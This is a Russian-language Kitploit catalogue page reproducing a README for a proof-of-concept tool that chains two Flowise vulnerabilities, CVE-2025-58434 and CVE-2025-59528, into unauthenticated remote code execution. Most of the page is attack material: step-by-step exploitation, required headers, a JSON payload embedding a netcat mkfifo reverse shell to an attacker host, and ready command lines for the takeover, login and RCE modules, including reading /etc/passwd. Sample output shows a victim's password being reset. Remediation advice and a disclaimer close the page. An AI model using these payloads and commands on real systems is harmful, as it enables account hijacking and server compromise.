Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

Модульный PoC для CVE-2025-58434 (захват учетной записи) и CVE-2025-59528 (удаленное выполнение кода) в Flowise. Автоматизирует полную цепочку атак от неавторизованной утечки токена до удаленного выполнения кода через reverse shell или пользовательскую команду.

Репозиторий
1925 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ Только для образовательных целей и авторизованных исследований безопасности.
Запуск этого инструмента против систем, которыми вы не владеете или для тестирования которых у вас нет письменного разрешения, является незаконным.


Содержание

  • Обзор
  • Детали уязвимостей
    • CVE-2025-58434 — Перехват учётной записи
    • CVE-2025-59528 — Удалённое выполнение кода
  • Полная цепочка атаки
  • Затронутые версии
  • Структура репозитория
  • Требования
  • Установка
  • Использование
    • Поведение по умолчанию
    • Экран справки
    • Режим цепочки
    • Модуль — ATO
    • Модуль — Login
    • Модуль — RCE
  • Справка по флагам
  • Обратный шелл против пользовательской команды
  • Пример вывода
  • Устранение уязвимостей
  • График раскрытия
  • Ссылки
  • Отказ от ответственности

  • Обзор

    Этот репозиторий объединяет две критические уязвимости в Flowise в единый модульный PoC-инструмент.

    CVE-2025-58434CVE-2025-59528
    ТипПерехват учётной записиУдалённое выполнение кода
    Требуется аутентификацияНетДа (любая действительная учётная запись)
    CVSS9.8 КритическийКритический
    ЗатронутыОблако + Самостоятельный хостингСамостоятельный хостинг

    Две уязвимости естественным образом объединяются: CVE-2025-58434 предоставляет неаутентифицированный перехват учётной записи, что удовлетворяет требованию аутентификации для CVE-2025-59528 — достигая неаутентифицированного RCE в одном автоматизированном запуске.


    Детали уязвимостей

    CVE-2025-58434 — Перехват учётной записи

    Корневая причина: Конечная точка forgot-password возвращает токен сброса пароля (tempToken) непосредственно в теле HTTP-ответа вместо отправки только по электронной почте.

    Шаги атаки:

    1. POST /api/v1/account/forgot-password с любым зарегистрированным email
    2. Прочитать tempToken из JSON-ответа — доступ к почте не требуется
    3. POST /api/v1/account/reset-password с утёкшим токеном → установить новый пароль
    4. Войти в систему как жертва

    Утёкший ответ (сокращён):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — Удалённое выполнение кода

    Корневая причина: Узел CustomMCP передаёт предоставленный пользователем mcpServerConfig непосредственно в конструктор Function() в JavaScript без санитизации. Поскольку Flowise работает в Node.js, внедрённый код имеет полный доступ к child_process, fs и всем встроенным модулям Node.js.

    Уязвимый путь кода:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← несанитизированный пользовательский ввод
    

    Необходимые заголовки:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    Полезная нагрузка по умолчанию (обратный шелл):

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    Примечание: Полезные нагрузки обратного шелла используют cp.exec() (асинхронно / "запустил и забыл"), поэтому HTTP-запрос завершается немедленно и инструмент не таймаутится. Обычные команды используют cp.execSync() и возвращают вывод встроенно.


    Полная цепочка атаки

    root@kitploit:~
    Attacker                              Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← token утёк в ответе
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken очищен)           │  ← ATO завершён
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← cookies извлечены
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() срабатывает в фоне]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       Слушатель nc атакующего ←────────────── Сервер подключается обратно
       ✓  Полный RCE с нулевыми учётными данными
    

    Затронутые версии

    КомпонентСтатус
    Flowise Cloud (cloud.flowiseai.com)Затронут CVE-2025-58434
    Flowise самост. хостинг (все версии до патча)Затронут обеими CVE

    Проверьте официальные уведомления безопасности Flowise для номеров исправленных релизов.


    Структура репозитория

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # Основной PoC — все модули + режим цепочки
    ├── requirements.txt    # Зависимости Python
    ├── README.md           # Этот файл
    └── DISCLAIMER.md       # Полное юридическое уведомление
    

    Требования

    • Python 3.7+
    • Библиотека requests

    Установка

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    Использование

    Поведение по умолчанию

    Флаг режима не требуется. Если вы запускаете скрипт без --chain или --module, он автоматически запускается в полном режиме цепочки. Полезная нагрузка RCE по умолчанию — обратный шелл — просто укажите --lhost и --lport.

    root@kitploit:~
    # Минимальный вызов — полная цепочка + обратный шелл
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    Запустите свой слушатель перед выполнением:

    root@kitploit:~
    nc -lvnp 4444
    

    Экран справки

    root@kitploit:~
    python3 flowise_poc.py -h
    

    Режим цепочки

    Выполняет все четыре шага от начала до конца: утечка токена → сброс пароля → вход → RCE.

    root@kitploit:~
    # Обратный шелл (полезная нагрузка по умолчанию)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # Пользовательская команда вместо обратного шелла
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # Пользовательский пароль ATO + обратный шелл
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    Модуль — ATO

    Утечка tempToken и сброс пароля учётной записи. Останавливается перед входом/RCE.

    root@kitploit:~
    # Новый пароль по умолчанию
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # Пользовательский новый пароль
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # Вывод сырого JSON-ответа
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    Модуль — Login

    Аутентификация и извлечение трёх сессионных cookies для ручного использования.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # JSON-вывод для скриптов
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    Модуль — RCE

    Выполнение на сервере. Автоматический вход, если не указан --token.

    root@kitploit:~
    # Обратный шелл — автоматический вход
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # Пользовательская команда — автоматический вход
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # Ручной токен — обратный шелл
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # Все три cookies вручную
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    Справка по флагам

    Режим (все необязательны — по умолчанию --chain)

    ФлагОписание
    --chainПолная цепочка: ATO → Login → RCE
    --module atoТолько перехват учётной записи
    --module loginТолько вход и извлечение cookies
    --module rceТолько RCE

    Цель

    ФлагКороткийОписаниеОбязательный
    --url-uБазовый URL экземпляра FlowiseВсегда
    --email-eЦелевой / для входа emailВсегда

    Параметры ATO

    ФлагКороткийОписаниеПо умолчанию
    --new-password-pПароль, устанавливаемый на учётную запись жертвы после ATOFlowise@Pwn3d2025!

    Параметры аутентификации

    ФлагКороткийОписание
    --login-password-PПароль для модуля входа / автоматического входа в RCE
    --token—Ручное указание cookie token (пропускает вход)
    --refresh-token—Ручное указание cookie refreshToken
    --connect-sid—Ручное указание cookie connect.sid

    Параметры RCE

    ФлагКороткийОписаниеПо умолчанию
    --lhost—IP атакующего для обратного шелла—
    --lport—Порт атакующего для обратного шелла—
    --command-cПользовательская команда ОС (переопределяет revshell)id если нет lhost/lport

    Разное

    ФлагКороткийОписаниеПо умолчанию
    --timeout-tHTTP таймаут (секунды)15
    --json-output-jВывод сырых JSON-ответовfalse

    Обратный шелл против пользовательской команды

    Скрипт автоматически выбирает правильный режим выполнения:

    СценарийИспользуемая полезная нагрузкаПоведение HTTP
    --lhost + --lport (без -c)mkfifo netcat one-linercp.exec() — асинхронно, возвращается немедленно
    -c "..." содержит nc/mkfifo/bash -iраспознаётся как revshellcp.exec() — асинхронно, возвращается немедленно
    -c "id" или любая другая обычная командапользовательская командаcp.execSync() — блокируется, возвращает вывод
    нет -c, нет --lhostidcp.execSync() — блокируется, возвращает вывод

    Асинхронное выполнение означает, что HTTP-запрос завершается мгновенно — никаких ошибок таймаута при полезных нагрузках обратного шелла.


    Пример вывода

    root@kitploit:~
      [Step 1] [CVE-2025-58434] Запрос токена forgot-password ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        УТЁКШИЕ ДАННЫЕ УЧЁТНОЙ ЗАПИСИ
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] УЯЗВИМО — токен раскрыт без аутентификации!
    
      [Step 2] [CVE-2025-58434] Сброс пароля → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] Сброс пароля УСПЕШЕН (tempToken очищен)
      [+] Перехват учётной записи завершён → [email protected] / Flowise@Pwn3d2025!
    
      [Step 3] [Auth] Вход для извлечения сессионных cookies ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        ИЗВЛЕЧЁННЫЕ СЕССИОННЫЕ COOKIES
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [Step 4] [CVE-2025-59528] Выполнение RCE через CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        РЕЗУЛЬТАТ RCE
      ────────────────────────────────────────────────────────────────────
      Mode    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] Полезная нагрузка обратного шелла сработала!
      [!] Ожидание подключения на 10.10.16.35:4444 ...
      [!] Убедитесь, что ваш слушатель запущен: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] ЦЕПОЧКА ЗАВЕРШЕНА
    

    Устранение уязвимостей

    Для CVE-2025-58434

    • Никогда не возвращайте токены в API-ответах. Отправляйте tempToken только на зарегистрированный email.
    • Возвращайте общее сообщение об успехе независимо от того, существует ли email (предотвращает перебор).
    • Сделайте токены одноразовыми, с коротким сроком действия (≤15 мин) и привязанными к контексту запроса.
    • Ограничьте частоту запросов к конечной точке forgot-password.

    Для CVE-2025-59528

    • Никогда не передавайте пользовательский ввод в Function(), eval() или vm.runInThisContext().
    • Разбирайте mcpServerConfig только как данные (например, JSON.parse()) — никогда не выполняйте его.
    • Если требуется динамическое вычисление, используйте изолированную песочницу с ограниченным контекстом.
    • Примените строгую проверку ввода и белый список разрешённых ключей конфигурации.

    Общие

    • Обновите как облачные, так и самостоятельно развёрнутые установки.
    • Включите логирование и оповещение о сбросе пароля и конечных точках node-load-method.
    • Рассмотрите MFA для всех учётных записей администраторов.

    График раскрытия

    ДатаСобытие
    2025-08-19CVE-2025-58434 обнаружена и сообщена
    TBDCVE-2025-59528 обнаружена и сообщена
    TBDПодтверждение вендора
    TBDВыпущен патч
    TBDПубличное раскрытие

    Ссылки

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: Механизм восстановления пароля со слабой защитой
    • CWE-94: Некорректный контроль генерации кода

    Отказ от ответственности

    Только для образовательных целей и авторизованного тестирования на проникновение.
    См. DISCLAIMER.md для полного юридического уведомления.

    Скачать инструмент